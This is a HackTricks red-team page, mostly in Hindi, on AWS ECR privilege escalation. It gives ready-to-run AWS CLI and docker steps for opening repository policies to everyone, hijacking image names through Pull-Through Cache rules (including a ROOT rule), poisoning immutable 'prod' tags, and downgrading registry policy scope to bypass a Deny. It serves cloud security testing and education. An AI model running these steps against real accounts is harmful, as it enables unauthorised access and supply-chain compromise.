AWS - ECR Privesc

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

यदि किसी attacker के पास ecr:GetAuthorizationToken और ecr:BatchGetImage हों, तो वह ECR में login करके images डाउनलोड कर सकता है।

For more info on how to download images:

AWS - ECR Post Exploitation

Potential Impact: ट्रैफिक में संवेदनशील जानकारी को intercept करके indirect privesc.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

यदि किसी attacker के पास ये सभी permissions हों तो वह ECR में login करके images upload कर सकता है। यह उन अन्य environments में जहाँ ये images उपयोग हो रहे हैं, privileges escalate करने में उपयोगी हो सकता है।

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

पिछले सेक्शन जैसा ही, लेकिन public repositories के लिए।

ecr:SetRepositoryPolicy

इस permission वाले attacker change कर सकते हैं repository policy ताकि वे खुद (या सभी) को read/write access दे सकें।
For example, in this example read access is given to everyone.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json की सामग्री:

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

पिछले सेक्शन की तरह ही, लेकिन public repositories के लिए।
एक attacker ECR Public repository की modify the repository policy करके अनधिकृत public access देने या अपनी privileges escalate करने में सक्षम हो सकता है।

bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

संभावित प्रभाव: ECR Public repository तक अनधिकृत सार्वजनिक पहुँच, जिससे किसी भी उपयोगकर्ता को images को push, pull, या delete करने की अनुमति मिल सकती है।

ecr:PutRegistryPolicy

इस अनुमति वाला एक हमलावर registry policy को परिवर्तित कर सकता है ताकि वह स्वयं, अपने खाते (या यहाँ तक कि सभी) को read/write access प्रदान कर सके।

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

ECR Pull Through Cache (PTC) नियमों का दुरुपयोग करके attacker-controlled upstream namespace को एक trusted private ECR prefix से मैप करें। इससे private ECR से images खींचने वाले workloads बिना private ECR में किसी push के attacker images पारदर्शी रूप से प्राप्त करेंगे।

  • आवश्यक अनुमतियाँ: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. यदि ECR Public upstream का उपयोग कर रहे हैं: ecr-public:* ताकि public repo में create/push किया जा सके।
  • टेस्ट किया गया upstream: public.ecr.aws

Steps (example):

  1. Prepare attacker image in ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

  2. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: चुने गए prefix के अंतर्गत internal image names को hijack करके सप्लाई-चेन में समझौता। उस prefix का उपयोग करके private ECR से images खींचने वाला कोई भी workload attacker-controlled कंटेंट प्राप्त करेगा।

ecr:PutImageTagMutability

इस अनुमति का दुरुपयोग करके tag immutability वाले repository को mutable में बदलें और trusted tags (e.g., latest, stable, prod) को attacker-controlled कंटेंट से ओवरराइट करें।

  • आवश्यक अनुमतियाँ: ecr:PutImageTagMutability तथा push क्षमताएँ (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage)।
  • प्रभाव: टैग नाम बदले बिना immutable टैग्स को चुपचाप बदलकर सप्लाई-चेन में समझौता।

Steps (example):

Mutability को टॉगल करके immutable टैग को poison करें
bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod

ROOT Pull-Through Cache rule के जरिए Global registry hijack

प्राइवेट ECR registry की root को upstream public registry (उदाहरण के लिए, ECR Public) से map करने के लिए special ecrRepositoryPrefix=ROOT का उपयोग करके एक Pull-Through Cache (PTC) rule बनाएं। प्राइवेट registry में non-existent repository के लिए कोई भी pull transparently upstream से serve किया जाएगा, जिससे private ECR में push किए बिना supply-chain hijacking संभव हो जाएगा।

  • आवश्यक perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • प्रभाव: Pulls to <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> सफल होंगे और upstream से sourced होने वाले private repos को auto-create कर देंगे।

Note: For ROOT rules, omit --upstream-repository-prefix. Supplying it will cause a validation error.

डेमो (us-east-1, upstream public.ecr.aws)
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true

ecr:PutAccountSetting (REGISTRY_POLICY_SCOPE को डाउनग्रेड करके registry policy के Deny को बायपास करें)

ecr:PutAccountSetting का दुरुपयोग करके registry policy का scope V2 (policy सभी ECR actions पर लागू) से V1 (policy केवल CreateRepository, ReplicateImage, BatchImportUpstreamImage पर लागू) में बदलें। अगर कोई कठोर registry policy Deny CreatePullThroughCacheRule जैसे actions को ब्लॉक कर रहा है, तो scope को V1 पर डाउनग्रेड करने से वह enforcement हट जाता है और identity‑policy Allows लागू हो जाते हैं।

  • Required perms: ecr:PutAccountSetting, ecr:PutRegistryPolicy, ecr:GetRegistryPolicy, ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule.
  • प्रभाव: ऐसी ECR actions करने की क्षमता जो पहले registry policy Deny द्वारा blocked थीं (उदा., PTC rules बनाना), जब आप अस्थायी रूप से scope को V1 पर सेट करते हैं।

Steps (example):

CreatePullThroughCacheRule पर registry policy Deny को V1 में स्विच करके बायपास करें
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें